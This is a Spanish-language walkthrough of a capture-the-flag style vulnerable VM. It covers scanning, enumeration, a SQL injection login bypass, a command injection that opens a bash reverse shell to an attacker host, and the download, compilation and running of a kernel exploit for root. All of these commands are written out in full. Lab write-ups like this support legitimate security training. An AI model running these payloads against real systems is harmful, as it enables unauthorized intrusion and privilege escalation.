Configuración del Entorno
Para preparar el laboratorio, elimine las entradas de configuración relacionadas con ethernet0 en el archivo con extensión .vmx antes de la importación. Luego, importe la máquina virtual y asigne un adaptador de red.
Reconocimiento Inicial
Identificación de la dirección IP del objetivo mediente escaneo de red local:
netdiscover -r 192.168.56.0/24 -P
Salida esperada mostrando hosts activos, incluyendo el objetivo en 192.168.56.102.
Enumeración de Servicios
Escaneo de todos los puertos TCP para detectar servicios expuestos:
nmap -sS -p- --open --min-rate 5000 192.168.56.102 -oN full_scan.txt
Resultado: puertos abiertos en 22 (SSH), 80 (HTTP), 111 (RPC), 443 (HTTPS), 631 (IPP), 773 (status), 3306 (MySQL).
Análisis Detallado de Puertos
Escaneo con detección de versiones y scripts por defecto:
nmap -sV -sC -p22,80,111,443,631,773,3306 192.168.56.102 -oX service_scan.xml
Versiones detectadas: OpenSSH 3.9p1, Apache httpd 2.0.52, CUPS 1.1, MySQL no autorizado.
Escaneo de Vulnerabilidades
Ejecución de scripts de vulnerabilidad comunes:
nmap --script vuln -p22,80,111,443,631,773,3306 192.168.56.102
Debilidades encontradas: Slowloris DoS, inyección CCS en SSL, vulnerabilidad POODLE, cifrados débiles DH.
Exploración del Servicio Web
Búsqueda de directorios y archivos ocultos en el servidor HTTP:
dirb http://192.168.56.102/ -o dirb_results.txt -r
Rutas interesantes: /manual/, /icons/, /cgi-bin/.
Explotación mediante Inyección SQL
Acceso al panel de autenticación con credenciales manipuladas:
curl -X POST http://192.168.56.102/index.php -d "user=admin&pass=1' OR '1'='1&btnSubmit=Ingresar"
La inyección evita la vlaidación y permite el acceso al back end.
Ejecución Remota de Comandos
Explotación de funcionalidad vulnerable a través de comandos del sistema:
ping -c 1 127.0.0.1; bash -i >& /dev/tcp/192.168.56.50/4444 0>&1
El uso de separadores como ; permite la ejecución arbitraria de comandos.
Escalamiento de Privilegios
Búsqueda de binarios con permisos SUID:
find / -perm -4000 -type f 2>/dev/null
Listado incluye utilidades como ping, mount, su.
Verificación del kernel y distribución:
uname -a && cat /etc/redhat-release
Kernel: Linux 2.6.9-55.EL, Distribución: CentOS 4.5.
Descarga y compilación de exploit de kernel específico:
wget http://192.168.56.50:8080/exploit.c -O escalation.c
gcc escalation.c -o escalation -static
chmod +x escalation
./escalation
El exploit CVE-2009-XXXX ejecuta código en modo privilegiado, obteniendo acceso root.